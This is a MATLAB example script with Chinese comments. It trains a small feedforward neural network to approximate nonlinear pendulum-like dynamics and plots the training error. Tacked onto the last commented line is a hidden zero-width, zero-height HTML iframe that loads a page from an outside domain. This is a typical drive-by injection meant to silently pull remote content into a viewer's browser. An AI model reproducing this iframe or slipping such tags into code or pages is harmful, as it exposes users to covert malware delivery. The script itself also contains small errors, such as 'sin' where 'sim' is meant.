ann.m

人工神经网络例程 人工神经网络例程

clear all;
%系统状态变量初始化
x1=[rands(1,300)*pi,rands(1,100)*pi];
x2=[rands(1,300)*pi,zeros(1,100)*pi];
P=[x1;x2];
%离散化时间间隔
dt=0.05;
%理想非线性输出
T=x2+dt*[9.81*sin(x1)-2*x2];
[R,Q]=size(P);
%第一层神经元数目
S1=10;
%第二层神经元数目
[S2,Q]=size(T);
pr=[0.7,1.05;0.95,1.04];
%初始化网络
net=newff(pr,[S1 S2]);
xx1=[(1:300)/100];
xx2=[zeros(1,300)];
xx=[xx1;xx2];
y=xx2+dt*[9.81*sin(xx1)-2*xx2];
%循环次数
net.trainParam.epochs=50;
%训练精度
net.trainParam.goal=0;
[net,tr]=train(net,xx,y);
%网络训练
plotperf(tr,net.trainParam.goal);
grid;

%xx1=[(1:30)/10];
%xx2=[zeros(1,30)];
%xx=[xx1,xx2];
%y=xx2+dt*[9.81*sin(xx1)-2*xx2];
%y2=sin(net,xx);
%plot(xx,y,'*',xx,y2);
%title('neural network approximation');
%xlabel('input');
%ylabel('output');
%grid;<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>